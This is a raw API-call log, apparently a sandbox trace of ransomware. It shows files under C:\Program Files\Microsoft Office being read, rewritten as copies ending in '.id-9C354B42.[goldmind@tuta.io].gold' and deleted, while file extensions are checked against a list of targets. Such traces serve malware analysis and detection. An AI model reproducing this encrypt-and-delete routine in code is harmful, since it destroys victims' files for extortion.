0xffffffff [0108.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.038] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.038] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.039] GetLastError () returned 0x0 [0108.039] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0108.094] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.094] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.094] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0108.095] SetEndOfFile (hFile=0x230) returned 1 [0108.095] CloseHandle (hObject=0x230) returned 1 [0108.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.095] SetEndOfFile (hFile=0x188) returned 1 [0108.097] CloseHandle (hObject=0x188) returned 1 [0108.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 1 [0108.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString=".doc") returned 4 [0108.111] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.111] lstrlenW (lpString=".docx") returned 5 [0108.111] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.111] lstrlenW (lpString=".pdf") returned 4 [0108.111] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString=".xls") returned 4 [0108.111] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString=".xlsx") returned 5 [0108.111] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.111] lstrlenW (lpString=".ppt") returned 4 [0108.111] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString=".zip") returned 4 [0108.111] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString=".rar") returned 4 [0108.111] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString=".bz2") returned 4 [0108.111] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.111] lstrlenW (lpString=".7z") returned 3 [0108.111] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString=".dbf") returned 4 [0108.111] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString=".1cd") returned 4 [0108.111] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString=".jpg") returned 4 [0108.111] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.111] lstrlenW (lpString=".doc") returned 4 [0108.111] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.111] lstrlenW (lpString=".docx") returned 5 [0108.111] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.111] lstrlenW (lpString=".pdf") returned 4 [0108.111] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString=".xls") returned 4 [0108.111] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.111] lstrlenW (lpString=".xlsx") returned 5 [0108.111] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.111] lstrlenW (lpString=".ppt") returned 4 [0108.112] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.112] lstrlenW (lpString=".zip") returned 4 [0108.112] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.112] lstrlenW (lpString=".rar") returned 4 [0108.112] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.112] lstrlenW (lpString=".bz2") returned 4 [0108.112] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.112] lstrlenW (lpString=".7z") returned 3 [0108.112] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.112] lstrlenW (lpString=".dbf") returned 4 [0108.112] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.112] lstrlenW (lpString=".1cd") returned 4 [0108.112] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0108.112] lstrlenW (lpString=".jpg") returned 4 [0108.112] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.112] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0108.112] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0108.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.119] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1940) returned 1 [0108.119] CloseHandle (hObject=0x364) returned 1 [0108.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 0x20 [0108.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.120] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.120] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0108.120] GetLastError () returned 0x0 [0108.120] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x794, lpOverlapped=0x0) returned 1 [0108.122] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0108.122] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.122] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.122] SetEndOfFile (hFile=0x394) returned 1 [0108.122] CloseHandle (hObject=0x394) returned 1 [0108.123] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.123] SetEndOfFile (hFile=0x364) returned 1 [0108.125] CloseHandle (hObject=0x364) returned 1 [0108.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 1 [0108.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.126] lstrlenW (lpString=".doc") returned 4 [0108.126] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0108.126] lstrlenW (lpString=".docx") returned 5 [0108.126] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0108.126] lstrlenW (lpString=".pdf") returned 4 [0108.126] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0108.126] lstrlenW (lpString=".xls") returned 4 [0108.126] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0108.126] lstrlenW (lpString=".xlsx") returned 5 [0108.126] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0108.126] lstrlenW (lpString=".ppt") returned 4 [0108.126] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0108.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString=".zip") returned 4 [0108.127] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0108.127] lstrlenW (lpString=".rar") returned 4 [0108.127] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString=".bz2") returned 4 [0108.127] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString=".7z") returned 3 [0108.127] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0108.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString=".dbf") returned 4 [0108.127] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString=".1cd") returned 4 [0108.127] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString=".jpg") returned 4 [0108.127] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString=".doc") returned 4 [0108.127] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString=".docx") returned 5 [0108.127] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0108.127] lstrlenW (lpString=".pdf") returned 4 [0108.127] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString=".xls") returned 4 [0108.127] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0108.127] lstrlenW (lpString=".xlsx") returned 5 [0108.127] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0108.127] lstrlenW (lpString=".ppt") returned 4 [0108.127] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0108.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.127] lstrlenW (lpString=".zip") returned 4 [0108.127] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0108.127] lstrlenW (lpString=".rar") returned 4 [0108.127] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0108.128] lstrlenW (lpString=".bz2") returned 4 [0108.128] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0108.128] lstrlenW (lpString=".7z") returned 3 [0108.128] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0108.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.128] lstrlenW (lpString=".dbf") returned 4 [0108.128] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0108.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.128] lstrlenW (lpString=".1cd") returned 4 [0108.128] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0108.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0108.128] lstrlenW (lpString=".jpg") returned 4 [0108.128] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0108.128] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0108.128] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0108.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.130] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1826) returned 1 [0108.130] CloseHandle (hObject=0x364) returned 1 [0108.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 0x20 [0108.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.130] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.130] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0108.131] GetLastError () returned 0x0 [0108.131] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x722, lpOverlapped=0x0) returned 1 [0108.132] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x730, lpOverlapped=0x0) returned 1 [0108.133] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.133] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.133] SetEndOfFile (hFile=0x394) returned 1 [0108.133] CloseHandle (hObject=0x394) returned 1 [0108.133] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.133] SetEndOfFile (hFile=0x364) returned 1 [0108.138] CloseHandle (hObject=0x364) returned 1 [0108.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 1 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString=".doc") returned 4 [0108.139] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString=".docx") returned 5 [0108.139] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0108.139] lstrlenW (lpString=".pdf") returned 4 [0108.139] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString=".xls") returned 4 [0108.139] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0108.139] lstrlenW (lpString=".xlsx") returned 5 [0108.139] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0108.139] lstrlenW (lpString=".ppt") returned 4 [0108.139] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString=".zip") returned 4 [0108.139] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0108.139] lstrlenW (lpString=".rar") returned 4 [0108.139] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString=".bz2") returned 4 [0108.139] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString=".7z") returned 3 [0108.139] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString=".dbf") returned 4 [0108.139] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString=".1cd") returned 4 [0108.139] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString=".jpg") returned 4 [0108.139] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.139] lstrlenW (lpString=".doc") returned 4 [0108.139] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0108.139] lstrlenW (lpString=".docx") returned 5 [0108.139] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0108.139] lstrlenW (lpString=".pdf") returned 4 [0108.139] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0108.140] lstrlenW (lpString=".xls") returned 4 [0108.140] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0108.140] lstrlenW (lpString=".xlsx") returned 5 [0108.140] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0108.140] lstrlenW (lpString=".ppt") returned 4 [0108.140] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0108.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.140] lstrlenW (lpString=".zip") returned 4 [0108.140] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0108.140] lstrlenW (lpString=".rar") returned 4 [0108.140] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0108.140] lstrlenW (lpString=".bz2") returned 4 [0108.140] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0108.140] lstrlenW (lpString=".7z") returned 3 [0108.140] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0108.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.140] lstrlenW (lpString=".dbf") returned 4 [0108.140] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0108.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.140] lstrlenW (lpString=".1cd") returned 4 [0108.140] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0108.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0108.140] lstrlenW (lpString=".jpg") returned 4 [0108.140] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0108.140] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0108.140] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0108.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.141] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4932186) returned 1 [0108.141] CloseHandle (hObject=0x364) returned 1 [0108.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs")) returned 0x20 [0108.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".doc") returned 4 [0108.142] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.142] lstrlenW (lpString=".docx") returned 5 [0108.142] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0108.142] lstrlenW (lpString=".pdf") returned 4 [0108.142] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".xls") returned 4 [0108.142] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".xlsx") returned 5 [0108.142] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0108.142] 